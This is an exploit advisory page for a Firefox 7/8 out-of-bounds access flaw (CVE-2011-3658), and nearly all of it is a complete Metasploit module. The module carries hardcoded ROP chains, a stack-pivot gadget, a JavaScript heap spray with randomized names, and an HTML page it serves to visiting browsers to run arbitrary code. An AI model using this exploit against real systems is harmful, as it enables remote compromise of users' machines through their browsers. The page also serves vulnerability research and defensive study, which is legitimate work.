Mozilla Firefox 7 / 8 Out-Of-Bounds Access

2012.05.09
Credit: regenrecht
Risk: High
Local: No
Remote: Yes
CWE: CWE-399


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox 7/8 (<= 8.0.1) nsSVGValue Out-of-Bounds Access Vulnerability', 'Description' => %q{ This module exploits an out-of-bounds access flaw in Firefox 7 and 8 (<= 8.0.1). The notification of nsSVGValue observers via nsSVGValue::NotifyObservers(x,y) uses a loop which can result in an out-of-bounds access to attacker-controlled memory. The mObserver ElementAt() function (which picks up pointers), does not validate if a given index is out of bound. If a custom observer of nsSVGValue is created, which removes elements from the original observer, and memory layout is manipulated properly, the ElementAt() function might pick up an attacker provided pointer, which can be leveraged to gain remote arbitrary code execution. }, 'License' => MSF_LICENSE, 'Author' => [ 'regenrecht', #vulnerability discovery 'Lincoln<lincoln[at]corelan.be>', #Metasploit module 'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module ], 'References' => [ [ 'CVE', '2011-3658' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-056/' ], [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708186' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'InitialAutoRunScript' => 'migrate -f' }, 'Payload' => { 'BadChars' => "\x00\x0a\x0d\x34", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" }, 'Platform' => 'win', 'Targets' => [ [ 'Automatic', {} ], [ 'Windows XP - Firefox 7', { 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, 'PopEax' => 0x7819e4b4, # POP EAX # RETN [MOZCRT19.dll] 'FF' => 7, 'OS' => 'XP' } ], [ 'Windows XP - Firefox 8 (<= 8.0.1)', { 'Ret' => 0x0C0C0C0C, 'OffSet' => 0x606, 'Size' => 0x40000, 'PopEax' => 0x7819e504, # POP EAX # RETN [MOZCRT19.dll] 'FF' => 8, 'OS' => 'XP' } ] ], 'DisclosureDate' => 'Dec 6 2011', 'DefaultTarget' => 0)) end def autofilter false end def check_dependencies use_zlib end def junk(n=4) return rand_text_alpha_upper(n).unpack("L")[0].to_i end def nop return make_nops(4).unpack("L")[0].to_i end def get_rop_chain(ffversion,osversion) # mona.py ROP chains rop_chain = [] if ffversion == 7 and osversion == "XP" rop_chain = [ 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] 0x7813aeed, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] 0x78194774, # PUSH EAX # POP ESI # POP EDI # POP EBP # POP EBX # RETN [MOZCRT19.dll] 0x78139801, # RETN (ROP NOP) [MOZCRT19.dll] -> edi 0x78195375, # & push esp # ret [MOZCRT19.dll] -> ebp 0x00000001, # 0x00000001-> ebx 0x7819966e, # POP EDX # RETN [MOZCRT19.dll] 0x00001000, # 0x00001000-> edx 0x7813557f, # POP ECX # RETN [MOZCRT19.dll] 0x00000040, # 0x00000040-> ecx 0x781a4da8, # POP EAX # RETN [MOZCRT19.dll] nop, # nop 0x7813d647, # PUSHAD # RETN [MOZCRT19.dll] ].flatten.pack("V*") elsif ffversion == 8 and osversion == "XP" rop_chain = [ 0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll] 0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll] 0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll] 0x7814eef1, # POP EBP # RETN [MOZCRT19.dll] 0x781503c3, # & call esp [MOZCRT19.dll] 0x781391d0, # POP EBX # RETN [MOZCRT19.dll] 0x00000001, # 0x00000001-> ebx 0x781a147c, # POP EDX # RETN [MOZCRT19.dll] 0x00001000, # 0x00001000-> edx 0x7819728e, # POP ECX # RETN [MOZCRT19.dll] 0x00000040, # 0x00000040-> ecx 0x781945b5, # POP EDI # RETN [MOZCRT19.dll] 0x78152809, # RETN (ROP NOP) [MOZCRT19.dll] 0x7819ce58, # POP EAX # RETN [MOZCRT19.dll] nop, # nop 0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll] ].flatten.pack("V*") end return rop_chain end def on_request_uri(cli, request) # Re-generate the payload. return if ((p = regenerate_payload(cli)) == nil) # determine the target FF and OS version ffversion = "" osversion = "" agent = request.headers['User-Agent'] if agent !~ /Firefox\/7\.0/ and agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/8\.0\.1/ vprint_error("This browser version is not supported: #{agent.to_s}") send_not_found(cli) return end my_target = target if my_target.name == 'Automatic' if agent =~ /NT 5\.1/ and agent =~ /Firefox\/7/ my_target = targets[1] elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/ my_target = targets[2] elsif vprint_error("This Operating System is not supported: #{agent.to_s}") send_not_found(cli) return end target = my_target end # Create the payload print_status("Creating payload for #{target.name}") table = [ 0x0c0c0c0c, # index 0x0c0c0c0c, # index 0x0c0c0c0c, # index 0x7c45abdf # Stack->Heap Flip XCHG EAX,ESP # ADD [EAX],EAX # ADD ESP,48h # RETN 28 [MOZCPP19.DLL] ].pack("V*") rop = rand_text_alpha_upper(56) rop << [ target['PopEax'] ].pack("V") rop << rand_text_alpha_upper(40) rop << get_rop_chain(target['FF'],target['OS']) # Encode table, chain and payload rop_js = Rex::Text.to_unescape(table+rop, Rex::Arch.endian(target.arch)) code = payload.encoded code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch)) # random JavaScript variable names i_name = rand_text_alpha(rand(10) + 5) rop_name = rand_text_alpha(rand(10) + 5) code_name = rand_text_alpha(rand(10) + 5) offset_length_name = rand_text_alpha(rand(10) + 5) randnum1_name = rand_text_alpha(rand(10) + 5) randnum2_name = rand_text_alpha(rand(10) + 5) randnum3_name = rand_text_alpha(rand(10) + 5) randnum4_name = rand_text_alpha(rand(10) + 5) paddingstr_name = rand_text_alpha(rand(10) + 5) padding_name = rand_text_alpha(rand(10) + 5) junk_offset_name = rand_text_alpha(rand(10) + 5) single_sprayblock_name = rand_text_alpha(rand(10) + 5) sprayblock_name = rand_text_alpha(rand(10) + 5) varname_name = rand_text_alpha(rand(10) + 5) thisvarname_name = rand_text_alpha(rand(10) + 5) container_name = rand_text_alpha(rand(10) + 5) tls_name = rand_text_alpha(rand(10) + 5) tl_name = rand_text_alpha(rand(10) + 5) rect_name = rand_text_alpha(rand(10) + 5) big_name = rand_text_alpha(rand(10) + 5) small_name = rand_text_alpha(rand(10) + 5) listener_name = rand_text_alpha(rand(10) + 5) run_name = rand_text_alpha(rand(10) + 5) svg_name = rand_text_alpha(rand(10) + 5) atl_name = rand_text_alpha(rand(10) + 5) addr_name = rand_text_alpha(rand(10) + 5) trans_name = rand_text_alpha(rand(10) + 5) matrix_name = rand_text_alpha(rand(10) + 5) # corelan precise heap spray for Firefox >= 7 # + trigger routine spray = <<-JS var #{rop_name} = unescape("#{rop_js}"); var #{code_name} = unescape("#{code_js}"); var #{offset_length_name} = #{target['OffSet']}; for (var #{i_name}=0; #{i_name} < 0x300; #{i_name}++) { var #{randnum1_name}=Math.floor(Math.random()*90)+10; var #{randnum2_name}=Math.floor(Math.random()*90)+10; var #{randnum3_name}=Math.floor(Math.random()*90)+10; var #{randnum4_name}=Math.floor(Math.random()*90)+10; var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString(); #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString(); var #{padding_name} = unescape(#{paddingstr_name}); while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name}; #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name}); var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name}; #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length); while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name}; #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2); #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString(); #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString(); #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';"; eval(#{thisvarname_name}); } var #{container_name} = []; var #{tls_name} = []; var #{rect_name} = null; var #{big_name} = null; var #{small_name} = null; function #{listener_name}() { #{rect_name}.removeEventListener("DOMAttrModified", #{listener_name}, false); for each (#{tl_name} in #{tls_name}) #{tl_name}.clear(); for (#{i_name} = 0; #{i_name} < (1<<7); ++#{i_name}) #{container_name}.push(unescape(#{big_name})); for (#{i_name} = 0; #{i_name} < (1<<22); ++#{i_name}) #{container_name}.push(unescape(#{small_name})); } function #{run_name}() { var #{svg_name} = document.getElementById("#{svg_name}"); #{rect_name} = document.getElementById("#{rect_name}"); for (#{i_name} = 0; #{i_name} < (1<<13); ++#{i_name}) { #{rect_name} = #{rect_name}.cloneNode(false); var #{atl_name} = #{rect_name}.transform; var #{tl_name} = #{atl_name}.baseVal; #{tls_name}.push(#{tl_name}); } const #{addr_name} = unescape("%u0c0c"); #{big_name} = #{addr_name}; while (#{big_name}.length != 0x1000) #{big_name} += #{big_name}; #{small_name} = #{addr_name}; while (#{small_name}.length != 15) #{small_name} += #{addr_name}; var #{trans_name} = #{svg_name}.createSVGTransform(); for each (#{tl_name} in #{tls_name}) #{tl_name}.appendItem(#{trans_name}); #{rect_name}.addEventListener("DOMAttrModified", #{listener_name}, false); var #{matrix_name} = #{svg_name}.createSVGMatrix(); #{trans_name}.setMatrix(#{matrix_name}); } JS # build html content = <<-HTML <html> <head> <meta http-equiv="refresh" content="3"> <body> <script language='javascript'> #{spray} </script> </head> <body onload="#{run_name}();"> <svg id="#{svg_name}"> <rect id="#{rect_name}" /> </svg> </body> </html> HTML print_status("Sending HTML") # Transmit the response to the client send_response(cli, content, {'Content-Type'=>'text/html'}) end end

References:

http://www.zerodayinitiative.com/advisories/ZDI-12-056/
https://bugzilla.mozilla.org/show_bug.cgi?id=708186


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